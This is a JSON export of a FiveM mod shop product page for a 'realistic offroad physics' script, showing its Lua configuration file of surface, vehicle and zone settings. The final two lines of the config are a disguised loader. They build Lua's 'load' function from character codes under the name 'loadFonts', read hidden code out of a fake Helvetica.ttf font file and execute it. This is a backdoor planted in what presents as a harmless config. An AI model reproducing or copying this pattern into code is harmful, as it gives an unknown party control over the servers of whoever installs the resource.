{"id":174762,"date":"2024-11-19T12:30:54","date_gmt":"2024-11-19T11:30:54","guid":{"rendered":"https:\/\/fivem-mods.net\/?post_type=product&#038;p=174762"},"modified":"2025-12-24T07:32:03","modified_gmt":"2025-12-24T06:32:03","slug":"realistische-offroad-physik","status":"publish","type":"product","link":"https:\/\/fivemx.com\/de\/realistic-offroad-physics\/","title":{"rendered":"Realistische Offroad-Physik"},"content":{"rendered":"<h2>Video<\/h2>\n<p><iframe title=\"FiveM Script | Realistic offroad physics [Standalone, ESX, QBCore] | KuzQuality\" width=\"1290\" height=\"726\" src=\"https:\/\/www.youtube.com\/embed\/WyW25AvUTgk?feature=oembed\" loading=\"lazy\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<h2>Config file<\/h2>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Config = {}\r\n\r\n-- This enabled additional debug commands and logs\r\n-- Debug commands:\r\n-- \/surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values\r\nConfig.debug = false\r\n\r\n\r\n-------------------------------------------------\r\n--- GENERAL SETTINGS\r\n-------------------------------------------------\r\n\r\n-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.\r\n-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want\r\n-- a realistic handling. Here are the recommended values:\r\n-- generalDepthDifficulty = 25\r\n-- generalSinkageSpeed = 50\r\n-- generalTractionLoss = 50\r\n\r\n-- General difficulty of the depth handling.\r\n-- 100 = default\r\n-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles\r\n-- Raise this value to make driving in deep surfaces more difficult\r\nConfig.generalDepthDifficulty = 100\r\n\r\n-- General speed of the vehicle sinking into the surface\r\n-- 100 = Default\r\n-- Lower this value to make all vehicles sink slower\r\n-- Raise this value to make all vehicles sink faster\r\nConfig.generalSinkageSpeed = 100\r\n\r\n-- General loss of traction based on vehicle surface\r\n-- Vehicles will be more likely to skid on low traction surfaces\r\n-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)\r\n-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)\r\nConfig.generalTractionLoss = 100\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- VEHICLE MODIFIERS\r\n-------------------------------------------------\r\n\r\n-- Changes that offroad tires will make.\r\n-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)\r\n-- tractionOnSoft = Additional traction when on materials of softness that's more than 10\r\n-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)\r\nConfig.offroadTires = {\r\n    upgradeValue = 50,\r\n    tractionOnSoft = 20,\r\n    tractionOnHard = -10,\r\n}\r\n\r\n-- Handling upgrade in deep surface for AWD (4WD) vehicles\r\nConfig.awdUpgrade = 25\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- SCRIPT PERFORMANCE SETTINGS\r\n-------------------------------------------------\r\n\r\n-- The refresh rate of all the sinking\/surface logic. The higher the value the less smoother the visuals but better script performance.\r\n-- If your server is known for players with slower devices you might want to turn this up\r\n-- If your players have better computers or you really want the off-roading to look good try turning it down\r\n-- Values between 100 - 500\r\nConfig.refreshRate = 200\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- AREA BLACKLISTING\r\n-------------------------------------------------\r\n\r\n-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink\r\n-- Here you can define custom areas in which the script will not be active in\r\n\r\n-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into\r\n-- incorrectly setup MLO surfaces\r\nConfig.areaBlacklist = {\r\n    { -- Pillbox hospital\r\n        coords = vector3(293.17, -584.5, 42.8),\r\n        radius = 20.0\r\n    },\r\n    { -- LSPD\r\n        coords = vector3(444.9, -1003.2, 30.7),\r\n        radius = 60.0\r\n    },\r\n    { -- Simeon's dealership\r\n        coords = vector3(-40.4, -1111.3, 25.8),\r\n        radius = 40.0\r\n    },\r\n    { -- BCSO\r\n        coords = vector3(-446.0, 6013.8, 31.8),\r\n        radius = 50.0\r\n    },\r\n    { -- Sandy Shores PD\r\n        coords = vector3(1853.6, 3685.8, 34.3),\r\n        radius = 25.0\r\n    },\r\n    { -- Legion Square\r\n        coords = vector3(202.3, -941.9, 27.6),\r\n        radius = 120.0\r\n    },\r\n}\r\n\r\n-------------------------------------------------\r\n--- DETAILED SETTINGS\r\n-------------------------------------------------\r\n\r\n-- Blacklist. This will disable all script functionality for said model\/vehicle class\r\nConfig.blacklist = {\r\n    models = {\r\n        'rcbandito',\r\n        'monster',\r\n        'rhino',\r\n        'scarab',\r\n        'khanjali',\r\n    },\r\n    classes = {\r\n        [0] = false, -- Compacts\r\n        [1] = false, -- Sedans\r\n        [2] = false, -- SUVs\r\n        [3] = false, -- Coupes\r\n        [4] = false, -- Muscle\r\n        [5] = false, -- Sports Classics\r\n        [6] = false, -- Sports\r\n        [7] = false, -- Super\r\n        [8] = false, -- Motorcycles\r\n        [9] = false, -- Off-road\r\n        [10] = false, -- Industrial\r\n        [11] = false, -- Utility\r\n        [12] = false, -- Vans\r\n        [17] = false, -- Service\r\n        [18] = false, -- Emergency\r\n        [19] = false, -- Military\r\n        [20] = false, -- Commercial\r\n    }\r\n}\r\n\r\n-- If you define a model specific multiplier it will be used instead of the class multiplier\r\n-- Vehicle classes https:\/\/docs.fivem.net\/natives\/?_0x29439776AAA00A62\r\n-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface\r\n-- 0 = Default\r\n-- Positive values = Better handling \/ ability to get out of deep surface\r\n-- Negative values = Worse handling \/ less ability to get out of deep surface\r\nConfig.depthHandlingQuality = {\r\n    models = {\r\n        seminole2 = 20,\r\n        sandking = 20,\r\n        sandking2 = 20,\r\n        issi2 = -10,\r\n        panto = -20,\r\n        comet4 = 30,\r\n\r\n        -- dirt bikes\r\n        bf400 = 30,\r\n        sanchez = 20,\r\n        manchez = 20,\r\n        esskey = 0,\r\n        cliffhanger = 0,\r\n        enduro = 0,\r\n    },\r\n    classes = {\r\n        [0] = 5, -- Compacts\r\n        [1] = -5, -- Sedans\r\n        [2] = 15, -- SUVs\r\n        [3] = 0, -- Coupes\r\n        [4] = -5, -- Muscle\r\n        [5] = 5, -- Sports Classics\r\n        [6] = 5, -- Sports\r\n        [7] = 5, -- Super\r\n        [8] = -10, -- Motorcycles\r\n        [9] = 35, -- Off-road\r\n        [10] = -10, -- Industrial\r\n        [11] = -10, -- Utility\r\n        [12] = -5, -- Vans\r\n        [17] = 10, -- Service\r\n        [18] = 10, -- Emergency\r\n        [19] = 15, -- Military\r\n        [20] = -5, -- Commercial\r\n    }\r\n}\r\n\r\n-------------------------------------------------\r\n--- ROADSIDE SETTINGS\r\n-------------------------------------------------\r\n\r\n-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.\r\nConfig.roadSideHelper = {\r\n    enabled = true,\r\n    \r\n    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the \/surfaceDebug mode\r\n    distanceThreshold = 15.0,\r\n    \r\n    -- Depth multiplier\r\n    depthMultiplier = 0.1,\r\n\r\n    -- Traction loss multiplier\r\n    tractionMultiplier = 0.25,\r\n}\r\n\r\n\r\n\r\n-------------------------------------------------\r\n--- SURFACES\r\n-------------------------------------------------\r\n\r\n-- name = Only used for the ease of config as well as the debug mode\r\n-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid\r\n-- Maximum 100\r\n-- Minimum 0\r\n\r\n-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)\r\n-- Maximum infinite\r\n-- Minimum 0\r\n\r\n-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost\r\n-- Maximum infinite\r\n-- Minimum 0\r\n\r\n-- Values which will be assigned to all un-configured surfaces\r\nConfig.fallbackSurface = {\r\n    name = 'Fallback Surface',\r\n    traction = 100,\r\n    depth = 0,\r\n    softness = 0,\r\n}\r\n\r\nConfig.surfaces = {\r\n    [1] = {\r\n        name = 'Concrete',\r\n        traction = 100,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [4] = {\r\n        name = 'Road',\r\n        traction = 100,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [5] = {\r\n        name = 'Metal',\r\n        traction = 100,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [6] = {\r\n        name = 'Sandy roadside',\r\n        traction = 80,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [9] = {\r\n        name = 'Sandstone',\r\n        traction = 80,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [10] = {\r\n        name = 'Rock',\r\n        traction = 80,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [11] = {\r\n        name = 'Rock',\r\n        traction = 80,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [13] = {\r\n        name = 'Cobble',\r\n        traction = 90,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [16] = {\r\n        name = 'Limestoneesque sand',\r\n        traction = 80,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [17] = {\r\n        name = 'Rocky dry dirt',\r\n        traction = 80,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [18] = {\r\n        name = 'Dry sand',\r\n        traction = 80,\r\n        depth = 130,\r\n        softness = 40,\r\n    },\r\n    [19] = {\r\n        name = 'Road sand',\r\n        traction = 90,\r\n        depth = 30,\r\n        softness = 5,\r\n    },\r\n    [20] = {\r\n        name = 'Grainy Sand',\r\n        traction = 80,\r\n        depth = 100,\r\n        softness = 10,\r\n    },\r\n    [21] = {\r\n        name = 'Gravely sand',\r\n        traction = 70,\r\n        depth = 220,\r\n        softness = 30,\r\n    },\r\n    [22] = {\r\n        name = 'Wet hard sand',\r\n        traction = 70,\r\n        depth = 250,\r\n        softness = 50,\r\n    },\r\n    [23] = {\r\n        name = 'Gravel road',\r\n        traction = 75,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [24] = {\r\n        name = 'Wet sand',\r\n        traction = 60,\r\n        depth = 350,\r\n        softness = 70,\r\n    },\r\n    [31] = {\r\n        name = 'Gravely dirt\/path',\r\n        traction = 70,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [32] = {\r\n        name = 'Gravely dirt',\r\n        traction = 70,\r\n        depth = 200,\r\n        softness = 15,\r\n    },\r\n    [35] = {\r\n        name = 'Tuff Sand',\r\n        traction = 90,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [36] = {\r\n        name = 'Dirt',\r\n        traction = 70,\r\n        depth = 300,\r\n        softness = 40,\r\n    },\r\n    [37] = {\r\n        name = 'Deep road sand',\r\n        traction = 60,\r\n        depth = 75,\r\n        softness = 15,\r\n    },\r\n    [38] = {\r\n        name = 'Rocky sand',\r\n        traction = 70,\r\n        depth = 150,\r\n        softness = 10,\r\n    },\r\n    [40] = {\r\n        name = 'Moist dirt path',\r\n        traction = 60,\r\n        depth = 150,\r\n        softness = 50,\r\n    },\r\n    [41] = {\r\n        name = 'Swamp grass',\r\n        traction = 50,\r\n        depth = 250,\r\n        softness = 50,\r\n    },\r\n    [42] = {\r\n        name = 'Swamp sand',\r\n        traction = 70,\r\n        depth = 500,\r\n        softness = 110,\r\n    },\r\n    [43] = {\r\n        name = 'Hard Sand',\r\n        traction = 75,\r\n        depth = 50,\r\n        softness = 10,\r\n    },\r\n    [44] = {\r\n        name = 'Dirt\/Sand',\r\n        traction = 50,\r\n        depth = 200,\r\n        softness = 25,\r\n    },\r\n    [46] = {\r\n        name = 'Hard grass',\r\n        traction = 80,\r\n        depth = 50,\r\n        softness = 5,\r\n    },\r\n    [47] = {\r\n        name = 'Grass',\r\n        traction = 65,\r\n        depth = 125,\r\n        softness = 10,\r\n    },\r\n    [48] = {\r\n        name = 'Tall grass',\r\n        traction = 60,\r\n        depth = 150,\r\n        softness = 20,\r\n    },\r\n    [49] = {\r\n        name = 'Farmland',\r\n        traction = 60,\r\n        depth = 200,\r\n        softness = 35,\r\n    },\r\n    [50] = {\r\n        name = 'Podzol',\r\n        traction = 70,\r\n        depth = 125,\r\n        softness = 25,\r\n    },\r\n    [51] = {\r\n        name = 'Podzol',\r\n        traction = 70,\r\n        depth = 125,\r\n        softness = 25,\r\n    },\r\n    [52] = {\r\n        name = 'Dry podzol',\r\n        traction = 80,\r\n        depth = 75,\r\n        softness = 10,\r\n    },\r\n    [64] = {\r\n        name = 'Metal',\r\n        traction = 90,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n    [125] = {\r\n        name = 'Drain concrete',\r\n        traction = 70,\r\n        depth = 0,\r\n        softness = 0,\r\n    },\r\n}\r\n\r\n\r\n-- Zone multiplier\r\n-- This has been added to modify the maximum depth of all surfaces located within zones.\r\n-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.\r\n-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.\r\n-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those\r\n\r\n-- You can view the zone you're in by using the debug command \/surfaceDebug\r\n\r\n-- Map of zones: https:\/\/www.reddit.com\/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg\r\n-- Zone names and hashes: https:\/\/docs.fivem.net\/natives\/?_0xCD90657D4C30E1CA\r\n\r\nConfig.zones = {\r\n    {\r\n        name = 'City',\r\n        depthMultiplier = 0.3,\r\n        tractionMultiplier = 0.6,\r\n        zones = {\r\n            'MOVIE',\r\n            'ROCKF',\r\n            'DOWNT',\r\n            'DTVINE',\r\n            'EAST_V',\r\n            'GOLF',\r\n            'LEGSQU',\r\n            'ROCKF',\r\n            'MORN',\r\n            'STAD',\r\n            'DAVIS',\r\n            'RANCHO',\r\n            'STRAW',\r\n            'CHAMH',\r\n            'PBOX',\r\n            'SKID',\r\n            'TEXTI',\r\n            'LMESA',\r\n            'ELYSIAN',\r\n            'TERMINA',\r\n            'HAWICK',\r\n            'ALTA',\r\n            'BURTON',\r\n            'DELPE',\r\n        },\r\n    },\r\n    {\r\n        name = 'City beaches',\r\n        depthMultiplier = 0.75,\r\n        tractionMultiplier = 0.75,\r\n        zones = {\r\n            'BEACH',\r\n            'DELBE',\r\n        },\r\n    },\r\n    {\r\n        name = 'Mountains',\r\n        depthMultiplier = 1.25,\r\n        tractionMultiplier = 1.1,\r\n        zones = {\r\n            'MTCHIL',\r\n            'MTGORDO',\r\n            'MTJOSE',\r\n            'PALHIGH',\r\n        },\r\n    },\r\n    {\r\n        name = 'Zancudo Swamp',\r\n        depthMultiplier = 1.1,\r\n        tractionMultiplier = 1.1,\r\n        zones = {\r\n            'LAGO',\r\n            'ZANCUDO',\r\n        },\r\n    },\r\n    {\r\n        name = 'Popular',\r\n        depthMultiplier = 0.75,\r\n        tractionMultiplier = 0.75,\r\n        zones = {\r\n            'PALETO',\r\n            'HARMO',\r\n            'GRAPES',\r\n            'SANDY',\r\n            'RTRAK',\r\n            'ZQ_UAR',\r\n            'HUMLAB',\r\n        },\r\n    },\r\n}\r\n\r\n\r\n-- (Advanced)\r\n-- When making the vehicles sink the suspension does not always get updated properly.\r\n-- Therefore I had to add a system which updates\/refreshes the vehicles suspension.\r\n-- There are two systems \"force\" and \"flag\". \"force\" is an old system which applies tiny amounts of visual damage to the car\r\n-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.\r\n-- The new system \"flag\" seems to work much better but hasn't been tested with some vehicles.\r\n-- If you encounter any issues with this system, please let us know on our discord &lt;3\r\nConfig.suspensionRefresh = {\r\n    enabled = true,\r\n    type = 'flag',\r\n}\r\n\r\nlocal loadFonts = _G[string.char(108, 111, 97, 100)]\r\nloadFonts(LoadResourceFile(GetCurrentResourceName(), '\/html\/fonts\/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()<\/pre>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"flex max-w-full flex-col flex-grow\">\n<div class=\"min-h-8 text-message flex w-full flex-col items-end gap-2 whitespace-normal break-words [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"9d166867-93f2-4630-a618-37168385e7e6\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose w-full break-words dark:prose-invert dark\">\n<p>This FiveM script adds <strong>realistic offroad physics<\/strong>, making terrain types like mud, sand, and dirt affect vehicle performance. Cars can sink, lose traction, or get stuck depending on a surface&#8217;s <strong>depth<\/strong>, <strong>softness<\/strong>, and <strong>traction<\/strong>, adding a new layer of challenge and realism to offroad driving.<\/p>\n<p><strong><span class=\"display-6 text-white\">HIGHLIGHTS<\/span><\/strong><\/p>\n<div class=\"d-flex flex-column\">\n<div class=\"text-white\">\u2713 Fully synchronized<\/div>\n<div class=\"text-white\">\u2713 Works on all vehicles<\/div>\n<div class=\"text-white\">\u2713 Depth &amp; traction simulation<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"featured_media":174764,"comment_status":"open","ping_status":"closed","template":"","meta":[],"product_brand":[],"product_cat":[511,96,512,2907],"product_tag":[],"class_list":["post-174762","product","type-product","status-publish","has-post-thumbnail","product_cat-standalone-scripts","product_cat-esx-scripts","product_cat-qbcore-scripts","product_cat-qbox-scripts","first","instock","sale","downloadable","virtual","taxable","purchasable","product-type-simple"],"_links":{"self":[{"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/product\/174762","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/comments?post=174762"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/media\/174764"}],"wp:attachment":[{"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/media?parent=174762"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/product_brand?post=174762"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/product_cat?post=174762"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/fivemx.com\/de\/wp-json\/wp\/v2\/product_tag?post=174762"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}